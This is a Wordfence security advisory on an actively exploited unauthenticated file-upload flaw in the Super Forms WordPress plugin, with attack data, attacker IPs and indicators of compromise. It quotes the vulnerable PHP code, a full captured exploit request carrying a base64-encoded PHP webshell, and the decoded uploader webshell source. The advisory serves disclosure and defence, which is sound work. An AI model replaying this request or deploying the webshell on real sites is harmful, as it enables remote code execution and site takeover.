On July 9th, 2026, we publicly disclosed a critical Unauthenticated Arbitrary File Upload vulnerability in Super Forms, a WordPress plugin with an estimated 13,000 active installations. This vulnerability can be leveraged by unauthenticated attackers to upload arbitrary files, including PHP backdoors, and achieve remote code execution. The vendor released the fully patched version on July 8th, 2026, and we disclosed this vulnerability in the Wordfence Intelligence vulnerability database on July 9th, 2026. Our records indicate that attackers started exploiting the issue on July 14th, 2026, the same day we released the firewall rule. The Wordfence Firewall has already blocked over 250,000 exploit attempts targeting this vulnerability.
Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in Super Forms on July 14, 2026. Sites using the free version of Wordfence received the same protection 30 days later on August 13, 2026.
Considering this vulnerability is being actively exploited, we urge users to ensure their sites are updated with the latest patched version of Super Forms, version 6.3.314 at the time of this writing, as soon as possible.
Vulnerability Summary from Wordfence Intelligence
Vulnerability Details
Super Forms is a drag-and-drop form builder plugin for WordPress that supports file upload fields. Form submissions, including uploaded files, are handled by the submit_form() function in the SUPER_Ajax class, which is reachable by unauthenticated visitors.
Examining the code reveals that, when processing a field of type files that contains a datauristring value, the plugin base64-decodes the attacker-supplied content and writes it to disk. The destination filename is taken from an attacker-controlled value and concatenated directly onto the upload directory path before the file is written:
if(isset($value['datauristring'])){
try {
$imgData = str_replace( ' ', '+', $value['datauristring']);
unset($value['datauristring']);
$imgData = substr( $imgData, strpos( $imgData, "," )+1 );
$imgData = base64_decode( $imgData );
unset($GLOBALS['super_upload_dir']);
add_filter( 'upload_dir', array( 'SUPER_Forms', 'filter_upload_dir' ));
if(empty($GLOBALS['super_upload_dir'])){
// upload directory is altered by filter: SUPER_Forms::filter_upload_dir()
$GLOBALS['super_upload_dir'] = wp_upload_dir();
}
$d = $GLOBALS['super_upload_dir'];
$value['value'] = SUPER_Common::email_tags( $value['value'], $data, $settings );
$value['label'] = SUPER_Common::email_tags( $value['label'], $data, $settings );
$basename = $value['value'];
$filename = trailingslashit($d['path']) . $basename;
$file = fopen($filename, 'w');
fwrite($file, $imgData);
fclose($file);
The plugin does not validate the file type or extension. As a result, an unauthenticated attacker can supply a filename with a .php extension, and optionally path traversal sequences, causing the decoded bytes to be written as an executable PHP file to a location of the attacker’s choosing on the server.
This makes it possible for unauthenticated attackers to write a PHP webshell to the site and execute arbitrary code, which can be leveraged to create administrator accounts, exfiltrate data, or take complete control of the site.
A Closer Look at the Attack Data
The following data highlights actual exploit attempts from threat actors targeting this vulnerability. The attacker submits a crafted payload to the super_submit_form endpoint containing a file field with a base64-encoded PHP payload and an attacker-controlled filename.
Example attack request
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
X-Real-Ip: 103.168.146.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
action=super_submit_form&form_id=2&sf_nonce=04c3aa2046&data={"sf_upload_field": {"type": "files", "files": [{"datauristring": "data:image/gif;base64,PD9waHAgaWYoaXNzZXQoJF9GSUxFU1siZmlsZSJdKSl7JHRhcmdldD1iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0KSl7ZWNobyLinIUgVXBsb2FkZWQ6IDxhIGhyZWY9JyR0YXJnZXQnPiR0YXJnZXQ8L2E+Ijt9ZWxzZXtlY2hvIuKdjCBVcGxvYWQgZmFpbGVkISI7fWV4aXQ7fT8+PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPk11c2hyMDB3IFVwbG9hZGVyPC90aXRsZT48L2hlYWQ+PGJvZHkgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcjthbGlnbi1pdGVtczpjZW50ZXI7aGVpZ2h0OjEwMHZoO21hcmdpbjowOyI+PGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0iYmFja2dyb3VuZDojMTExO3BhZGRpbmc6NDBweDtib3JkZXI6MnB4IHNvbGlkICMwMGZmMDA7Ym9yZGVyLXJhZGl1czoxMHB4O3RleHQtYWxpZ246Y2VudGVyOyI+PGgyPvCfk6QgVVBMT0FEPC9oMj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgcmVxdWlyZWQgc3R5bGU9ImJhY2tncm91bmQ6IzBhMGEwYTtjb2xvcjojMDBmZjAwO2JvcmRlcjoxcHggc29saWQgIzAwZmYwMDtwYWRkaW5nOjEwcHg7Ym9yZGVyLXJhZGl1czo1cHg7Ij48YnI+PGJyPjxidXR0b24gdHlwZT0ic3VibWl0IiBzdHlsZT0iYmFja2dyb3VuZDojMDBmZjAwO2NvbG9yOiMwYTBhMGE7cGFkZGluZzoxMHB4IDMwcHg7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDtjdXJzb3I6cG9pbnRlcjsiPuKshiBVcGxvYWQ8L2J1dHRvbj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4=", "value": "Mushr00w_upl.php", "name": "Mushr00w_upl.php", "label": "attachment"}]}}
In the request above, the attacker submits a file field whose datauristring carries a base64-encoded payload prefixed with a data:image/gif;base64 content type. The declared image content type is not verified against the actual contents, which are a PHP file-uploader webshell, and the value and name fields set the destination filename to Mushr00w_upl.php. Because the vulnerable version of Super Forms does not validate the file type or sanitize the filename before writing the file, the decoded payload is written to the filesystem as an executable PHP file. The attacker can then request the file directly to run the webshell, which provides a browser-based interface for uploading further malicious files to the site.
The contents of the decoded Mushr00w_upl.php will be a compact, AI-generated uploader:
<?php if(isset($_FILES["file"])){$target=basename($_FILES["file"]["name"]);if(move_uploaded_file($_FILES["file"]["tmp_name"],$target)){echo"✅ Uploaded: <a href='$target'>$target</a>";}else{echo"❌ Upload failed!";}exit;}?><!DOCTYPE html><html><head><title>Mushr00w Uploader</title></head><body style="background:#0a0a0a;color:#00ff00;font-family:monospace;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;"><form method="POST" enctype="multipart/form-data" style="background:#111;padding:40px;border:2px solid #00ff00;border-radius:10px;text-align:center;"><h2>📤 UPLOAD</h2><input type="file" name="file" required style="background:#0a0a0a;color:#00ff00;border:1px solid #00ff00;padding:10px;border-radius:5px;"><br><br><button type="submit" style="background:#00ff00;color:#0a0a0a;padding:10px 30px;border:none;border-radius:5px;font-weight:bold;cursor:pointer;">⬆ Upload</button></form></body></html>
This first stage dropper is utilized to upload further malware to the site. It has the Mushr00w branding used by a hacker group that recently defaced the website of Malaysia’s Health Ministry through a Joomla content editor extension vulnerability (CVE-2026-48907). This does not necessarily mean the group is involved in the creation of this uploader as hacker attributions can be swapped out easily.
Once such an uploader is successfully placed on a website, it can be used to upload further shells, spam files, phishing kits and other malicious code.
Wordfence Firewall
The following graphic demonstrates the steps to exploitation an attacker might take and at which point the Wordfence firewall would block an attacker from successfully exploiting the vulnerability.
Total Number of Exploits Blocked
The Wordfence Firewall has blocked over 250,000 exploit attempts targeting this vulnerability.
According to our data, attackers started targeting websites within days of the vulnerability being disclosed, on July 14th, 2026. We also detected and blocked a large number of exploit attempts from August 18th to 25th.
Top Offending IP Addresses
The following IP Addresses are currently the most actively engaged IP addresses targeting the Super Forms plugin:
- 103.168.147.235
- Over 106,000 blocked requests.
- 103.168.146.131
- Over 82,000 blocked requests.
- 103.154.152.178
- Over 5,000 blocked requests.
- 103.170.97.7
- Over 3,400 blocked requests.
- 182.10.130.51
- Over 3,000 blocked requests.
- 189.4.122.140
- Over 2,700 blocked requests.
- 129.227.46.143
- Over 2,100 blocked requests.
- 64.176.209.104
- Over 1,900 blocked requests.
- 103.164.182.122
- Over 1,700 blocked requests.
- 37.9.33.62
- Over 1,700 blocked requests.
Indicators of Compromise
Because a successful attack results in an executable file being written to the server, and the path traversal allows the file to be placed in any location the web server can write to, or an existing file to be overwritten, it is recommended to review your entire site for any unexpected or recently modified .php files, as well as any files with unusual names created or changed on or after July 8th, 2026. In the attacks we have observed, the uploaded webshell was commonly named Mushr00w_upl.php, so the presence of a file with this name is a strong indicator of compromise, though attackers may use other filenames and locations as well.
We also recommend reviewing your web server access logs for requests to /wp-admin/admin-ajax.php with the action parameter set to super_submit_form, especially those originating from the following IP addresses:
- 103.168.147.235
- 103.168.146.131
- 103.154.152.178
- 103.170.97.7
- 182.10.130.51
- 189.4.122.140
- 129.227.46.143
- 64.176.209.104
- 103.164.182.122
- 37.9.33.62
If you find evidence of compromise, we recommend removing any unknown administrator accounts and unexpected files, and reviewing the site for backdoors. The absence of any such log entries does not guarantee that your website has not been compromised.
Conclusion
In today’s article, we covered the attack data for a critical-severity Unauthenticated Arbitrary File Upload vulnerability in the Super Forms plugin that allows unauthenticated threat actors to upload executable PHP files and achieve remote code execution, leading to complete site compromise. Our threat intelligence indicates that attackers have been targeting this vulnerability at scale, with the heaviest exploitation occurring between August 18th and August 25th, 2026. The Wordfence firewall has already blocked over 250,000 exploit attempts targeting this vulnerability.
Wordfence Premium, Wordfence Care, and Wordfence Response users received a firewall rule to protect against known exploits targeting this vulnerability in Super Forms on July 14, 2026. Sites using the free version of Wordfence received the same protection 30 days later on August 13, 2026.
Even if you have already received a firewall rule for this issue we urge you to ensure that your site is updated to at least version 6.3.314 in order to maintain normal functionality. If you have friends or colleagues using Super Forms, be sure to forward this advisory to them, as sites could still be unprotected and unpatched.
If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.
The post Attackers Actively Exploiting Critical Vulnerability in Super Forms Plugin appeared first on Wordfence.